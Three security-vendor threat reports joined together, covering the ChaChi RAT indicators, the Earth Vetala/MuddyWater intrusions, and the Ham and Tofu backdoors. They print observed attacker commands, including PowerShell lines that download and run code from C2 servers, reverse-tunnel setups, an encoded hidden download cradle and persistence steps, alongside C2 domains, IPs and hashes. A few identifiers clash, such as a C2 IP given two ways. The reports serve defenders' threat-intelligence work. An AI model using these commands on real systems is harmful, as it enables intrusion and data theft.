ChaChi | | 6d1fde9a5963a672f5e4b35cc7b8eaa8520d830eb30c67fadf8ab82aeb28b81a | SHA256 | ChaChi | | 8b5cdbd315da292bbbeb9ff4e933c98f0e3de37b5b813e87a6b9796e10fbe9e8 | SHA256 | ChaChi | | 2697bbe0e96c801ff615a97c2258ac27eec015077df5222d52f3fbbcdca901f5 | SHA256 | ChaChi | | 85c8ccf45cdb84e99cce74c376ce73fdf08fdd6d0a7809702e317c18a016b388 | SHA256 | ChaChi | | 7b5027bd231d8c62f70141fa4f50098d056009b46fa2fac16183d1321be04768 | SHA256 | ChaChi | | 9986b6881fc1df8f119a6ed693a7858c606aed291b0b2f2b3d9ed866337bdbde | SHA256 | ChaChi | | a30e605fa404e3fcbfc50cb94482618add30f8d4dbd9b38ed595764760eb2e80 | SHA256 | ChaChi | | aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586 | SHA256 | ChaChi | | af97b35d9e30db252034129b7b3e4e6584d1268d00cde9654024ce460526f61e | SHA256 | ChaChi | | 045510eb6c86fc2d966aded8722f4c0e73690b5078771944ec1a842e50af4410 | SHA256 | ChaChi | | b0629dcb1b95b7d7d65e1dad7549057c11b06600c319db494548c88ec690551e | SHA256 | ChaChi | | ccfa2c14159a535ff1e5a42c5dcfb2a759a1f4b6a410028fd8b4640b4f7983c1 | SHA256 | ChaChi | | d591f43fc34163c9adbcc98f51bb2771223cc78081e98839ca419e6efd711820 | SHA256 | ChaChi | | ef31b968c71b0e21d9b0674e3200f5a6eb1ebf6700756d4515da7800c2ee6a0f | SHA256 | ChaChi | | f5cb94aa3e1a4a8b6d107d12081e0770e95f08a96f0fc4d5214e8226d71e7eb7 | SHA256 | ChaChi | | f8a5065eb53b1e3ac81748176f43dce1f9e06ea8db1ecfa38c146e8ea89fcc0b | SHA256 | ChaChi | | 44af9d898f417506b5a1f9387f3ce27b9dfa572aae799295ca95eb0c54403cff | SHA256 | Bat file used to delete backdoor binary | | PowerShell $env:ComputerName | Command-line | PowerShell used to obtain Computer Name | | PowerShell $env:Username | Command-line | PowerShell used to obtain Username | | PowerShell $env:tmp | Command-line | PowerShell used to obtain %TEMP% path | | JavaJDBC | Service Name | Installation Service Name | | Azure Agent Controller | Service Name | Installation Service Name | | Azure Safe controller | Service Name | Installation Service Name | | AzureAgentController | Service Name | Installation Service Name | | CorpNativeHostDebugger | Service Name | Installation Service Name | | Corp Native Host Debugger | Service Name | Installation Service Name | | Defender Security Agents | Service Name | Installation Service Name | | DefenderSecurityAgent | Service Name | Installation Service Name | | Get Service Controller | Service Name | Installation Service Name | | GetServiceController | Service Name | Installation Service Name | | Service agent security control | Service Name | Installation Service Name | | Windows service controller | Service Name | Installation Service Name | | MicrosoftSecurityManager | Service Name | Installation Service Name | | Microsoft Security Manager | Service Name | Installation Service Name | | WindowsSoftwareManagerDebugger | Service Name | Installation Service Name | | MicrosoftTeamConnectDebugger | Service Name | Installation Service Name | | MicrosoftTriangleConnectDebugger | Service Name | Installation Service Name | | WindowsProtectionSystem | Service Name | Installation Service Name | | Windows Health SubSystem | Service Name | Installation Service Name | | MsStudioAgentUpdateService | Service Name | Installation Service Name | | VisualIdeIndexer | Service Name | Installation Service Name | | Visual studio indexer | Service Name | Installation Service Name | | Visual Ide Indexer | Service Name | Installation Service Name | | del.bat | Filename | Bat file used to delete backdoor binary | | Englishdialoge[.]xyz | Domain | ChaChi C2 | | starhouse[.]xyz | Domain | ChaChi C2 | | accounting-consult[.]xyz | Domain | ChaChi C2 | | blitzz[.]best | Domain | ChaChi C2 | | ccenter[.]tech | Domain | ChaChi C2 | | cvar99[.]xyz | Domain | ChaChi C2 | | dowax[.]xyz | Domain | ChaChi C2 | | englishdict[.]xyz | Domain | ChaChi C2 | | english-breakfast[.]xyz | Domain | ChaChi C2 | | firefox-search[.]xyz | Domain | ChaChi C2 | | ntservicepack[.]com | Domain | ChaChi C2 | | productoccup[.]tech | Domain | ChaChi C2 | | pump-online[.]xyz | Domain | ChaChi C2 | | reportservicefuture[.]website | Domain | ChaChi C2 | | sbvjhs[.]club | Domain | ChaChi C2 | | sbvjhs[.]xyz | Domain | ChaChi C2 | | serchtext[.]xyz | Domain | ChaChi C2 | | spm[.]best | Domain | ChaChi C2 | | statistics-update[.]xyz | Domain | ChaChi C2 | | transnet[.]wiki | Domain | ChaChi C2 | | visual-translator[.]xyz | Domain | ChaChi C2 | | wiki-text[.]xyz | Domain | ChaChi C2 | | 160.20.147[.]184 | IP | ChaChi C2 | | 172.96.189[.]167 | IP | ChaChi C2 | | 193.239.84[.]205 | IP | ChaChi C2 | | 89.41.26[.]173 | IP | ChaChi C2 | | 172.96.189[.]22 | IP | ChaChi C2 | | 172.96.189[.]246 | IP | ChaChi C2 | | 185.183.96[.]147 | IP | ChaChi C2 | | 185.185.27[.]3 | IP | ChaChi C2 | | 185.186.245[.]85 | IP | ChaChi C2 | | 193.239.85[.]55 | IP | ChaChi C2 | | 194.187.249[.]102 | IP | ChaChi C2 | | 194.187.249[.]138 | IP | ChaChi C2 | | 194.5.249[.]137 | IP | ChaChi C2 | | 194.5.249[.]138 | IP | ChaChi C2 | | 194.5.249[.]139 | IP | ChaChi C2 | | 194.5.249[.]18 | IP | ChaChi C2 | | 194.5.249[.]180 | IP | ChaChi C2 | | 194.5.250[.]151 | IP | ChaChi C2 | | 194.5.250[.]162 | IP | ChaChi C2 | | 194.5.250[.]216 | IP | ChaChi C2 | | 198.252.100[.]37 | IP | ChaChi C2 | | 23.83.133[.]136 | IP | ChaChi C2 | | 37.120.140[.]184 | IP | ChaChi C2 | | 37.120.140[.]247 | IP | ChaChi C2 | | 37.120.145[.]208 | IP | ChaChi C2 | | 37.221.113[.]66 | IP | ChaChi C2 | | 45.147.228[.]49 | IP | ChaChi C2 | | 45.147.229[.]29 | IP | ChaChi C2 | | 45.147.230[.]162 | IP | ChaChi C2 | | 45.147.230[.]212 | IP | ChaChi C2 | | 86.106.20[.]144 | IP | ChaChi C2 | | 89.38.225[.]208 | IP | ChaChi C2 | ## MITRE ATT&CK | Tactic | ID | Name | Description | |-------------------|-----------------------------------|------------------------------|--------------------------------------------------| | Execution | T1059/001 | Command and Scripting Interpreter: PowerShell | ChaChi - enumerate system and execute commands - C2 Command | | Execution | T1059/003 | Command and Scripting Interpreter: Windows Command Shell | Reverse shell and service deletion | | Persistence | T1543/003 | Create or Modify System Process: Windows Service | ChaChi Installation as a Service | | Defense Evasion | T1027 | Obfuscated Files or Information | ChaChi - Gobfuscated Functions and Strings | | Discovery | T1057 | Process Discovery | ChaChi - Process Enumeration | | Discovery | T1082 | System Information Discovery | ChaChi - Computer Name and Username | | C2 | T1572 | Protocol Tunneling | ChaChi - DNS tunneling for C2 | | C2 | T1071/001 | Application Layer Protocol: Web Protocols | ChaChi – HTTP for C2 | | C2 | T1090/002 | Proxy: External Proxy | ChaChi – SOCKS5 proxy | | Data Obfuscation | T1001 | Data Obfuscation | ChaChi – Custom C2 encoding | | Fallback Channels | T1008 | Fallback Channels | ChaChi – DNS primary, HTTP fallback | | Encrypted Channel | T1573/001 | Encrypted Channel: Symmetric Cryptography | ChaChi – XSalsa20+Poly1305 for C2 encryption | | Exfiltration | T1041 | Exfiltration Over C2 Channel | ChaChi | | Resource Development | T1587/001 | Develop Capabilities: Malware | ChaChi Backdoor | | Resource Development | T1583/001 | Acquire Infrastructure: Domains | ChaChi Domain registration | ## BlackBerry Assistance If you’re battling ChaChi GoLang RAT or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. We have a global consulting team standing by to assist you providing around-the-clock support, where required, as well as local assistance. Please contact us here: [BlackBerry Incident Response](https://www.blackberry.com/us/en/forms/cylance/handraiser/emergency-incident-response-containment). ## About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.
# Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East **March 5, 2021** **APT & Targeted Attacks** Trend Micro researchers recently detected activity suspected to be from MuddyWater. This campaign targets various organizations in the Middle East and neighboring regions. We were tipped off to this activity in part by research from Anomali, which also identified a campaign targeting similar victims. We believe (with moderate confidence) that this newly identified activity is connected to MuddyWater (also known as TEMP.Zagros, Static Kitten, Seedworm). Additionally, we were able to link the Anomali-identified activity to an ongoing campaign in 2021. This campaign uses the following legitimate remote admin tools: - ScreenConnect - RemoteUtilities We have named this intrusion set Earth Vetala. Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package. The links were embedded within lure documents as well as emails. Once a victim was accessed, attackers would determine if the user account was an administrator or normal user. They would then download post-exploitation tools that included password/process-dumping utilities, reverse-tunneling tools, and custom backdoors. The threat actors would then initiate communications with additional command-and-control (C&C) infrastructure to execute obfuscated PowerShell scripts. ## Overview Analysis indicates the Earth Vetala campaign is ongoing and that this threat actor has interests which appear to align with Iran. Earth Vetala historically targets countries in the Middle East. In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan. The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool. ScreenConnect is a legitimate application that allows systems administrators to manage their enterprise systems remotely. Our research found threat indicators that were connected to the same campaign identified by Anomali. Analysis indicates that Earth Vetala is still ongoing as of the publishing of this post. During this campaign, threat actors used post-exploitation tools to dump passwords, tunnel their C&C communication using open-source tools, and use additional C&C infrastructure to establish a persistent presence within targeted hosts and environments. ## Technical Analysis During our research, we observed a spearphishing email allegedly from a government agency. The email attempts to convince recipients to click the URL and download a malicious file. We have seen that one of two files may be downloaded, one being a .PDF file and the other an .RTF file. As with the spearphishing email, the lure documents' content attempts to convince the victim to click on another malicious URL and download a .ZIP file. The .ZIP file contains a copy of a legitimate remote administration software developed by RemoteUtilities and provides remote administration capabilities, including: - Downloading and uploading files - Grabbing screenshots - Browsing files and directories - Executing and terminating processes During our research, we were able to discover multiple .ZIP files used to distribute the RemoteUtilities remote administration software in the manner above, with all of these distributing the same RemoteUtilities sample. The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used. Otherwise, the TTPs in use remain broadly similar. ### RemoteUtilities Analysis When the RemoteUtilities software is executed, its process launches msiexec.exe with the following command: The MSI installer installs a service on the victim machine called Remote Utilities – Host. The service then communicates with the domain id.remoteutilities.com, which belongs to RemoteUtilities. This connection is related to one of its features called Internet-ID Connection. This feature allows an intermediary Internet server to broker the connection, similar to a proxy server. This allows the threat actor to connect to the Internet-ID server, which then connects to the actual RemoteUtilities host. ### Post-Exploitation Analysis During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software. They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf). As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39. The same domain was mentioned in the previous research. We then observed the threat actors interact with the compromised host using the ScreenConnect software, executing the following commands: ``` cmd.exe net user /domain ``` The command above allows the attacker to get all the users from the domain controller. The next command executed is the following: ``` powershell.exe -exec bypass -w 1 -file a.ps1 ``` This is a command to execute a PowerShell script of some kind. However, we did not have access to the a.ps1 file. We are not sure what functionality is provided here. The next command issued is the following: ``` powershell.exe iwr -uri http://87.236.212[.]184/SharpChisel.exe -outfile c:\programdata\SharpChisel.exe -usebasicparsing ``` The command is connected to 187.236.212[.]184 and downloads a file called SharpChisel.exe (SHA256: 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2) and saves the file to the C:\programdata directory. The name SharpChisel may be related to the purpose of this file, which is a C# wrapper for a tunneling tool called chisel. The above IP address is geolocated to a server in Iran. The following command then configures SharpChisel: ``` C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999 ``` This directs all traffic to the localhost at port 9999 to the same remote server. Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: ``` powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.]184:443 R:8888:127.0.0.1:9999 ``` This time, traffic will be forwarded to the server over port 443. A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command: ``` C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 r:8888:127.0.0.1:9999 ``` It is then configured with the following command line PowerShell command: ``` powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 R:8888:127.0.0.1:9999 ``` We believe that the threat actor was unable to configure SharpChisel to work correctly. The use of the following command provides additional evidence to support our assumption: ``` powershell.exe iwr -uri hxxp://87.236.212[.]184/procdump64.exe -outfile c:\programdata\procdump64.exe -usebasicparsing ``` The command connects to the C&C server, downloads procdump64.exe, and saves the file in the C:\programdata directory. That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility. This was done using two separate commands: ``` C:\programdata\1.exe -relayserver 87.236.212[.]184:5555 C:\users\public\new.exe -relayserver 87.236.212[.]184:5555 ``` We then see the threat actor again attempting to use SharpChisel several times using the following command: ``` C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999 powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 R:8888:127.0.0.1:9999 ``` We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools. Following the unsuccessful attempt to configure a tunnel connection to their C&C server, the threat actors downloaded a remote access tool (RAT) and attempted to configure it. The following PowerShell command was used for this: ``` powershell.exe iwr -uri hxxp://87.236.212[.]184/out1 -outfile c:\users\public\out1.exe -usebasicparsing ``` The command downloads out1.exe and saves the file in the C:\users\public\ directory. Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable. We then decompiled the python executable using pyinstxtractor.py to get all of the Python bytecode files. These are then decompiled to get the original python code using easypythondecompiler. The out1.exe RAT has the following capabilities: - Data encoding - Email parsing - File and registry copy - HTTP/S connection support - Native command line - Process and file execution After this, the file C:\users\public\Browser64.exe is run. Browser64 is a tool that extracts credentials from the following applications: - Chrome - Chromium - Firefox - Opera - Internet Explorer - Outlook Following the use of browser64.exe, we observed the following command being executed: ``` powershell.exe iex(new-object System.Net.WebClient).DownloadString('hxxp://23.94.50[.]197:444/index.jsp/deb2b1a127c472229babbb8dc2dca1c2/QPKb49mivezAdai1') ``` They again attempted to use SharpChisel with no success: ``` powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\programdata\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\programdata\SharpChisel.exe server -p 9999 --socks5 ``` Finally, we observed a persistence mechanism being set using the following commands: ``` cmd.exe /c Wscript.exe "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\news.js" cmd.exe /c "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\newsblog.js" ``` We were able to get a copy of newsblog.js, which is a simple VBS downloader that communicates with the following URL: ``` hxxp://23[.]95[.]215[.]100:8008/index.jsp/7e95a3d753cc4a17793ef9513e030b49/4t2Fg7k6wWRnKgd9 ``` The script sets up a new HTTP object and then tries to disable the system's local proxy settings. The script then executes an HTTP GET request to the C&C URL, grabs the server's response, and sleeps for 10 seconds. At the time of our analysis, this server was still available. The response from the server contains an encoded PowerShell script, which is executed in memory. Decoding this script reveals that it contains a backdoor. ## Earth Vetala Footprint Earth Vetala conducted an extensive offensive campaign targeting multiple countries. We observed it operating in the following countries: - Azerbaijan - Bahrain - Israel - Saudi Arabia - United Arab Emirates We observed Earth Vetala target the following sectors: - Government Agencies - Academia - Tourism ## Trend Micro Solutions Earth Vetala represents an interesting threat. While it possesses remote access capabilities, the attackers seem to lack the expertise to use all of these tools correctly. This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill. Our findings in this area were made possible by our Dedicated Intelligence Research (DIR) analysts. They are on-hand to help organizations reach important decisions and understand the nature of the security challenges they face. For more information on the Dedicated Intelligence Research service, please contact your regional Sales team to learn more. ## MITRE ATT&CK Techniques Mapping | Tactic | Technique | |------------------------------------------|---------------------------------------------------------------------------| | Resource Development | Acquire Infrastructure: Web Services – T1583.006 | | Initial Access | Phishing: Spearphishing Attachment – T1566.001 | | | Phishing: Spearphishing Link – T1566.002 | | Execution | Command and Scripting Interpreter: PowerShell – T1059.001 | | | Command and Scripting Interpreter: Windows Command Shell – T1059.003 | | | Command and Scripting Interpreter: Visual Basic – T1059.005 | | | User Execution: Malicious Link – T1204.001 | | | User Execution: Malicious File – T1204.002 | | Persistence, Privilege Escalation | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1547.001 | | Discovery | Account Discovery: Domain Account - T1087.002 | | Credential Access | Credentials from Password Stores: Credentials from Web Browsers – T1555.003 | | Command and Control | Data Encoding: Standard Encoding – T1132.001 | | Defense Evasion | Deobfuscate/Decode Files or Information - T1140 | ## Indicators of Compromise ### Files | File name | SHA-256 | Trend Micro Detection Name | |---------------------------|-----------------------------------------------------------------------------------------|------------------------------------------| | SharpChisel.exe | 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 | HackTool.MSIL.Chisel.A | | PD64.dll | ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 | Trojan.Win64.PASSDUMP.A | | PasswordDumper.exe | 0cd6f593cc58ba3ac40f9803d97a6162a308ec3caa53e1ea1ce7f977f2e667d3 | HackTool.Win64.PassDump.AC | | out1.exe | 79fd822627b72bd2fbe9eae43cf98c99c2ecaa5649b7a3a4cfdc3ef8f977f2e6 | HackTool.Win64.Lazagne.AG | | newsblog.js | 304ea86131c4d105d35ebbf2784d44ea24f0328fb483db29b7ad5ffe514454f8 | Trojan.JS.DLOADR.AUSUOL | | new.exe | fb414beebfb9ecbc6cb9b35c1d2adc48102529d358c7a8997e903923f7eda1a2 | HackTool.Win64.LIGOLO.A | | Browser64.exe | 3495b0a6508f1af0f95906efeba36148296dccd2ab8ffb4e569254b683584fea | HackTool.Win64.BrowserDumper.A | | 1.exe | 78b1ab1b8196dc236fa6ad4014dd6add142b3cab583e116da7e8886bc47a7347 | HackTool.Win64.LIGOLO.A | | ﻔﻴﻨﻮﺮﺘﻜﻟإ ﻔﺒﺘﻜﻣ.pdf | 70cab18770795ea23e15851fa49be03314dc081fc44cdf76e8f0c9b889515c1b | Trojan.PDF.RemoteUtilities.A | | | 468e331fd3f9c41399e3e90f6fe033379ab69ced5e11b35665790d4a4b7cf254 | Trojan.W97M.RemoteUtilities.A | | ﻔﻴﻨﻮﺮﺘﻜﻟإ ﻔﺒﺘﻜﻣ.zip | f865531608a4150ea5d77ef3dd148209881fc8d831b2cfb8ca95ceb5868e1393 | PUA.Win32.RemoteUtilities.A | | | f664670044dbd967ff9a5d8d8f345be294053e0bae80886cc275f105d8e7a376 | PUA.Win32.RemoteUtilities.A | | ﻞﻤﺎﻧﺮﺑ.zip | 8bee2012e1f79d882ae635a82b65f88eaf053498a6b268c594b0d7d601b1212f | PUA.Win32.RemoteUtilities.A | | ﻔﻴﻨﻮﺮﺘﻜﻟإ ﻔﺒﺘﻜﻣ.zip | 9b345d2d9f52cda989a0780acadf45350b423957fb7b7668b9193afca3e0cd27 | PUA.Win32.RemoteUtilities.A | | ﻔﻴﻨﻮﺮﺘﻜﻟإ ﻔﺒﺘﻜﻣ.zip | 5e2642f33115c3505bb1d83b137e7f2b18e141930975636e6230cdd4292990dd | PUA.Win32.RemoteUtilities.A | | ﻔﻴﻨﻮﺮﺘﻜﻟإ ﻔﺒﺘﻜﻣ.zip | b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf | PUA.Win32.ScreenConnect.P | | سﻪﻴﺮﺪﻟا ﺢﻨﻤﻟا.exe | 3e4e179a7a6718eedf36608bd7130b62a5a464ac301a211c3c8e37c7e4b0b32b | PUA.Win32.ScreenConnect.P | ### Network - 23.94.50.197:444 - 23.95.215.100:443 - 23.95.215.100:8080 - 87.236.212.184:443 - 87.236.212.184:8008
# The Deception Project: A New Japanese-Centric Threat In an effort to expose a common problem we see happening in the industry, Cylance® would like to shed some light on just how easy it is to fake attribution. The key factor we should focus on, as an industry, is determining **how** an attacker can take down an organization, rather than focusing only on the **who**. Once we can identify how the attack happened, we can focus on what’s really important – prevention. ## Background While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains; however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published an analysis of one of the group’s backdoors. Cylance tracks this threat group internally as ‘Snake Wine’. We found the infrastructure to be significantly larger than documented. Cylance believes some of the steps taken by the attacker could possibly be an attempt at a larger disinformation campaign based upon some of the older infrastructure that would link it to a well-known CN-APT group. Nearly all of the initial data in this case was gathered from delving further into the domains hosted by ‘It Itch.’ South Korea’s National Intelligence Service (NIS) previously leveraged It Itch’s services, as documented by Citizen Lab. A number of the samples were signed using the leaked code-signing certificate from the Hacking Team breach. ## Propagation and Targeting To date, all observed attacks were the result of spear phishing attempts against the victim organizations. The latest batch used well-crafted LNK files contained within similarly named password-protected ZIP files. The LNK files, when opened, would execute a PowerShell command via `cmd.exe /c` to download and execute an additional payload. The attackers appeared to prefer the Google URL shortening service ‘goog.gl’; however, this could easily change as the attacks evolve. ```powershell powershell.exe -nop -w hidden -exec bypass -enc "JAAyAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGUAeABlAGMAIABiAHkAcABhAHMAcwAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwAHMAOgAvAC8AZwBvAG8ALgBnAGwALwBjAHAAVAAxAE4AVwAnACcAKQAiACcAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAMwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAAzACAAJAAyACIAOwB9AGUAbABzAGUAewBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIgA7AH0A" ``` The shortened URL connected to `hxxxp://koala.acsocietyy.com/acc/image/20170112001.jpg`. This file was in fact another piece of PowerShell code modified from ‘PowerSploit’. That file opens a decoy document and executes an approximately 60kb chunk of position independent shellcode. The shellcode upon further decoding and analysis is nearly identical to what Cylance calls ‘The Ham Backdoor’ below. This particular variant of the backdoor references itself internally as version ‘1.6.4’ and beaconed to `gavin.ccfchrist.com`. The move to a shellcode-based backdoor was presumably done to decrease overall AV detection and enable deployment via a wider array of methods. A public report documented a similar case in which several universities were targeted by an email purporting to be from The Japanese Society for the Promotion of Science regarding the need to renew grant funding. The website `koala.asocietyy.com` was also used to host the following PowerShell payloads: - ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86 20170112003.jpg - 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f 20170112002.jpg - 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48 20170112007.jpg - 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03 20170112005.jpg - 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856 20170112.jpg - 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b671029720170112001.jpg - 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d20170112006.jpg - f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b 20170112008.jpg - 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543 20170112004.jpg The payloads contained within each PowerShell script beaconed to the same domain name, with the exception of ‘20170112008.jpg’, which beaconed to `hamiltion.catholicmmb.com`. Earlier attempts used EXE’s disguised with Microsoft Word document icons and DOCX files within a similarly named ZIP file as documented by JPCERT. Cylance has observed the following ZIP files which contained a similarly named executable: - 平成29年日米安保戦略対話提言(未定稿).zip - 2016県立大学シンポジウムA4_1025.zip - 日米関係重要事項一覧表.zip - ロシア歴史協会の設立と「単一」国史教科書の作成.zip - 日米拡大抑止協議.zip - 個人番号の提供について.zip - 11月新学而会.zip ## Malware ### The Ham Backdoor The Ham Backdoor functions primarily as a modular platform, which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control (C2) server. The backdoor was programmed in C++ and compiled using Visual Studio 2015. The modules that Cylance has observed so far provided the ability to: - Upload specific files to the C2 - Download a file to the infected machine - Load and execute a DLL payload - List running processes and services - Execute a shell command - Add an additional layer of AES encryption to the network protocol - Search for a keyword in files Legacy AV appears to have fairly good coverage for most of the samples; however, minor changes in newer samples have considerably lower detection rates. JPCERT calls this backdoor ‘ChChes’ for cross-reference. The malware employs a number of techniques for obfuscation, such as stack construction of variables and data, various XOR encodings and data reordering schemes, and some anti-analysis techniques. Perhaps the most interesting of these, and the one we’ve chosen to key on from a detection perspective, is the following bit of assembly which was the final component in decoding a large encoded block of code: ```assembly lea edx, [esi+edi] mov edi, [ebp+var_4] mov cl, [ecx+edx] xor cl, [eax+edi] inc eax mov edi, [ebp+arg_8] mov [edx], cl mov ecx, [ebp+arg_0] cmp eax, ebx ``` This snippet in the analyzed samples used a fixed size XOR key usually 0x66 bytes long but would sequentially XOR every byte by each value of the key. This effectively results in a single byte XOR by the end of the operation. This operation made little sense in comparison to the other more complicated reordering and longer XOR encodings used prior to this mechanism. Cylance only found two variants to this code-block, however, that could be easily modified by the attacker in the future. The code also makes extensive use of the multi-byte NOP operation prefixed by 0x0F1F. These operations present somewhat of a problem for older disassemblers such as the original Ollydbg, but are trivially patched. The network protocol of the backdoor is well described by JPCERT, but Cylance has taken the liberty to clean up their original python snippet, which was provided for decoding the cookie values: ```python import hashlib from Crypto.Cipher import ARC4 def network_decode(cookie_data): data_list = cookie_data.split(';') dec = [] for i in range(len(data_list)): tmp = data_list[i] pos = tmp.find("=") key = tmp[0:pos] val = tmp[pos:] md5 = hashlib.md5() md5.update(key) rc4key = md5.hexdigest()[8:24] rc4 = ARC4.new(rc4key) dec.append(rc4.decrypt(val.decode("base64"))[len(key):]) print("[*] decoded:" + "".join(dec)) ``` As noted in the JPCERT report, Cylance also found that in most cases of successful infection, one of the earliest modules downloaded onto the system added an additional layer of AES communication to the traffic. The backdoor would also issue anomalous HTTP requests with the method ‘ST’ in the event that the C2 server did not respond appropriately to the initial request. An example request is shown below: ``` ST /2C/H.htm HTTP/1.1 Cookie: uQ=[REDACTED];omWwFSA=hw4biTXvqd%2FhK2TIyoLYj1%2FShw6MhEGHlWurHsUyekeuunmop4kZ;Tgnfm5E=RPBaxi%2Bf4B2r6CTd9jh5u3AHOwuyVaJeuw%3D%3D Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Host: kawasaki.unhamj.com Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache ``` The majority of the Ham Backdoors found to date have all been signed using the stolen and leaked Hacking Team code-signing certificate. **HT Srl Certificate Details:** - Status: Revoked - Issuer: VeriSign Class 3 Code Signing 2010 CA - Valid: 1:00 AM 8/5/2011 to 12:59 AM 8/5/2012 - Thumbprint: B366DBE8B3E81915CA5C5170C65DCAD8348B11F0 - Serial Number: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 Why the attackers chose to use this expired certificate to sign their malware samples is unknown. The malware itself bears little resemblance to previous hacking team implants and was likely done purely as an attempt to throw off attribution. The only observed persistence method to date is the use of the standard Windows Run key `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` under either a user’s hive or HKLM. Cylance found that the following three full file paths were commonly used by this particular backdoor: - %AppData%\Reader.exe - %AppData%\Notron.exe - %AppData%\SCSI_Initiarot.exe Cylance also identified an earlier sample, which took advantage of a self-extracting RAR and a side loading vulnerability in the legitimate Microsoft Resource Compiler, `RC.exe`. `RC.exe` will load the DLL `RCDLL.dll` via its import table. This modified DLL was responsible for XOR decoding and mapping the shellcode version of the Ham Backdoor. This particular sample was stored in a file called `RC.cfg`, which was encoded using a single byte XOR against the key of 0x54. It appears that this version was only used in early campaigns, as the latest referenced backdoor version Cylance identified was ‘v1.2.2’. ### Tofu Backdoor Based upon Cylance’s observations, the Tofu Backdoor was deployed in far fewer instances than the Ham Backdoor. It is a proxy-aware, fully-featured backdoor programmed in C++ and compiled using Visual Studio 2015. The Tofu backdoor makes extensive use of threading to perform individual tasks within the code. It communicates with its C2 server through HTTP over 